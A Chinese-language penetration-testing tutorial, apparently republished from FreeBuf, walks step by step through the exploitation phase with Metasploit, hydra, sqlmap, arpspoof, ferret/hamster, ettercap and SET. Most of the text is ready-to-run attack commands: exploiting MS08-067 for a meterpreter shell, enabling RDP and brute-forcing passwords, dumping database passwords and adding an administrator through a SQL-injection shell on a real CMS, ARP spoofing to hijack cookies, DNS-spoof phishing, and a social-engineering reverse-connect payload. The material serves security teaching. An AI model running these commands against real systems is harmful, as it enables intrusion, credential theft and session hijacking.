漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透。网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的。顾名思义,利用漏洞,达到攻击的目的。
Metasploit Framework
rdesktop + hydra
Sqlmap
Arpspoof
tcpdump + ferret + hamster
Ettercap
SET
Metasploit Framework
1
Metasploit是一款开源的安全漏洞检测工具,Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。
概要:MSF架构、组件
实例演示:入侵Windows XP SP3 (ms08_067)
>>>>
MSF架构
Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构:
TOOLS:集成了各种实用工具,多数为收集的其它软件
PLUGINS:各种插件,多数为收集的其它软件。直接调用其API,但只能在console工作。
MODULES:目前的Metasploit Framework 的各个模块
MSF core :表示Metasploit Framework core 提供基本的API,并且定义了MSF的框架。
并将各个子系统集成在一起。组织比较散乱,不建议更改。
MSF Base:提供了一些扩展的、易用的API以供调用,允许更改
Rex LIBRARIES:Metasploit Framework中所包含的各种库,是类、方法和模块的集合
CLI:表示命令行界面
GUI:图形用户界面
Console:控制台用户界面
Web:网页界面,目前已不再支持
Exploits:定义实现了一些溢出模块,不含payload的话是一个Aux
Payload:由一些可动态运行在远程主机上的代码组成
Nops:用以产生缓冲区填充的非操作性指令
Aux:一些辅助模块,用以实现辅助攻击,如端口扫描工具
Encoders:重新进行编码,用以实现反检测功能等
进入msfconsole后可配置数据库来更方便更快速的查询各种模块
首先启动postgresql
sudo systemctl start postgresql
切换到postgresql
su postgres
创建一个postgresql数据库账户
create user root –P
接着,会提示输入密码,然后确认密码
创建数据库
createdb --owner=root nexp_db
owner参数指定数据库的所有者,后一个参数为数据库名称
然后退出进入MSF连接数据库
db_connect root:toor@localhost/nexp_db
连接成功后会提示:
[-] postgresql already connected to msf
[-]Run db_disconnect first if you wish to connect to a different database
msfconsole支持系统所有命令,在终端中输入help可以查看“Core Commands”、“Database Backend Commands”、“Exploit Commands”
MSF集成的几种漏洞扫描组件
2
>>>>
Nmap
Nmap适用于Winodws、Linux、Mac等操作系统。它用于主机发现、端口发现或枚举、服务发现,检测操作系统、硬件地址、软件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap组件。通常在对目标系统发起攻击之前需要进行一些必要的信息收集,如获取网络中的活动主机、主机开放的端口等。
>>>>
Nessus
Nessus是当前使用最广泛的漏洞扫描工具之一。Nessus采用client/sever模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。在服务端还采用了plug-in的体系,允许用户加入执行特定功能的插件,这插件可以进行更快速和更复杂的安全检查。
>>>>
nmap进行端口扫描
nmap -sS -v www.hdu.edu.cn -oX Desktop/out.xml
>>>>
通过db_import命令导入已保存的扫描结果
db_import Desktop/out.xml
>>>>
使用hosts命令查看包含在XML格式的扫描结果中的对象
>>>>
使用services命令详细查看下列开放端口的相关服务信息
>>>>
使用notes命令按扫描结果显示的端口导出详细信息
实例演示MSF入侵WinXP(ms_08067)
3
>>>>
环境:
Windows XP SP3
IP:172.16.211.129
Kali Linux
IP:172.16.211.128
>>>>
实验原理
漏洞名称:Windows Server服务RPC请求缓冲区溢出漏洞(MS08-067)
此安全更新解决了服务器服务中一个秘密报告的漏洞。如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。
>>>>
实验过程
在msfconsole使用search命令搜索MS08067漏洞攻击程序
>>>>
从结果中得到
Name : exploit/windows/smb/ms08_067_netapi
Disclosure Date:2008-10-28
Rank:great
Deion:MS08-067 Microsoft Server Service Relative Path Stack Corruption
>>>>
使用use命令调用MS08067漏洞攻击程序
use exploit/windows/smb/ms08_067_netapi
使用show options 命令查看需要设置的选项
从图中可以看到还需设置RHOST(目标地址)、Exploit target(攻击目标)
使用 set 命令设置 Module Options,此处需要设置目标IP
即 set RHOST 172.16.211.129
使用 set 命令设置后,可再使用show options 命令查看设置情况
从中可以看出目标IP已经设置好
接着设置Exploit target,使用show targets 查看可选项
可以看出以下版本的系统均存在此漏洞
因为实例演示的XP系统为WinXP SP3 简体中文版,即
使用set target 命令设置目标,此处即为set target 34
此时再用show options 可以看到全部设置完成,接着使用exploit 或者 run 进行攻击
执行exploit命令后得到一个meterpreter
在meterpreter中输入shell即可进入CMD窗口
接着即可执行CMD命令,例如打开RDP服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用netstat -an命令查看端口是否开放,从图中可以看到已经开放
接着使用net user命令查看XP系统中的用户
可以看到存在一个用户为sysorem
然后针对指定用户比如这里的sysorem用户进行登录密码爆破
hydra 172.16.211.129 rdp -l sysorem -P Desktop/pass.txt
使用hydra爆破密码得:12345接着就能直接登录XP进行远程控制
rdesktop -a 32 -u sysorem -p 12345 172.16.211.129:3389
SQLmap
4
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。
概要:常用语法简单介绍
实例演示:实例演示通过一个注入点入侵一台服务器
常用语法介绍
获取当前用户名称
sqlmap -u "https://url/news?id=1" --current-user
获取当前数据库名称
sqlmap -u "https://www.xxoo.com/news?id=1" —current-db
列表名
sqlmap -u "https://www.xxoo.com/news?id=1" --tables -D “db_name”
列字段
sqlmap -u "https://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #
获取字段内容
sqlmap -u "https://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0
实例演示通过一个注入点入侵一台服务器
目标网站:某CMS
测试是否存在注入
sqlmap -u "https://xxx/newsInfo.php?news_id=1&classsn=8001" --level 2
Payload
news_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766271,0x5a794e4d4a626f5857704c4959506c49507a58666b4c44717864664b596d586d797059515752464d,0x716a786b71),NULL,NULL-- PHML&classsn=9003
查询数据库所属用户,返回ht_zhengke20%
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --current-user
查询是否是管理员账户,返回true
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --is-dba
数据库
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --dbs
列数据库用户
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --users
列数据库用户密码
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --passwords
得到ht_zhengke2用户的明文密码为ht_zhengke2
nmap扫描发现开放3389端口
进入sql shell
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --sql-shell
在sqlshell中添加一个用户并提升到管理员
net user root 12345 /add
net localgroup administrators root /add
使用新添加的用户远程登录服务器
Arpspoof
5
由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C。这就是一个简单的ARP欺骗,利用的是ARP协议的漏洞。往往在内网渗透中,可配合其他工具用于网络嗅探、流量劫持等作用。
>>>>
实例应用:
ARP欺骗攻击及会话劫持
ARP断网攻击
>>>>
命令结构:
arpspoof [-i interface] [-t target] host
-i 表示网卡,-t 表示目标
ARP欺骗攻击
Windows XP SP3
IP:172.16.211.129
Kali Linux
IP:172.16.211.128
网关
IP:172.16.211.2
开启IP转发(可使用cat查看是否设置成功)
echo 1 >> /proc/sys/net/ipv4/ip_forward
重定向受害者的流量传送给攻击者
arpspoof -i eth0 -t 172.16.211.129 172.16.211.2
tcpdump抓包(使用wireshark也可以)
因为网关具有路由功能,因此只要监听本地网卡流量就能得到目标主机的流量。
简单用法: tcpdump -w cookie.cap #抓取所有流量写入cookie.cap
进行一段时间的欺骗,期间可以随便浏览些网页,聊天之类的,比如现在访问数字杭电,一段时间后停止欺骗、停止抓包,并配合使用ferret处理抓取的流量。
简单用法: ferret -r cookie.cap #处理抓取的流量
>>>>
hamster
确保处理后的cookie.cap在root用户根目录后,运行hamster
接着根据提示设置浏览器代理
Kali 自带的Firefox浏览器设置代理如图
设置好代理后浏览器中访问hamster或https://127.0.0.1:1234
点击左侧链接,已经成功劫持cookie,实现访问
>>>>
ARP断网攻击
关闭本地IP转发,当来自网关的流量到达本机时,目标机器无法获得来自网关的数据,从而“断网”
arpspoof -i eth0 172.16.211.1 172.16.211.128
ettercap
6
ettercap是一个强大的欺骗工具,能够让测试人员以极快的速度创建和发送伪造的包、从网络适配器到应用软件各种级别的包、绑定监听数据到一个本地端口等。是中间人攻击中常用到的辅助工具。
不过多介绍,有兴趣的小伙伴可以自行了解下
实例演示:MIMT之DNS欺骗(钓鱼)
配置dns(/etc/ettercap/etter.dns) 172.16.211.128为本机在局域网地址
开启本地web服务
直接访问会返回apache默认页面
使用命令ettercap -G 启动ettercap,并选择Unifind sniffing进行网卡配置
接着扫描存活的主机,扫描完毕点击下图的Hosts list
将网关地址添加到 target1,将攻击目标添加到 target2
接着设置中间人攻击的形式为ARP欺骗,并设置双向欺骗
接着启用dns_spoof插件
接着开始DNS欺骗
然后在目标主机上浏览www.hdu.edu.cn 时就能达到欺骗的效果
DNS欺骗在内网渗透中往往用于获取管理员信息、钓鱼等。例如可以伪造内网路由器管理页面,欺骗用户在管理页面输入真实账号密码等。
SET
7
SET是利用社会工程学理论的工具集。它与metasploit连接,自动构建可应用于社会工程学技术的微软最新楼漏洞、Adobe PDF漏洞、Java Applet漏洞等多种环境。它不仅使用方便,而且还能巧妙地瞒过普通用户的眼睛。因此,也是极其危险的工具。
在shell中输入setoolkit启动SET,它可进行社工、渗透等测试,此处选1即社工
选择连接方式为4,创建一个payload和listener
因为用于演示的系统为WinXP 32bit,因此选择连接方式为2
接着设置本机IP和端口(此处端口设置为4445,避免冲突即可)
接着SET将启动MSF并通过以上设置的payloads后,当用户被诱导并逆向连接本机4445端口时,将会得到一个meterpreter,得到meterpreter后,可输入?查看可用命令
例如screenshot截屏
文/sysorem 来源/FreeBuf
培养专业的网络安全人才,
成就优秀的安全“大牛“
QQ交流群:204528261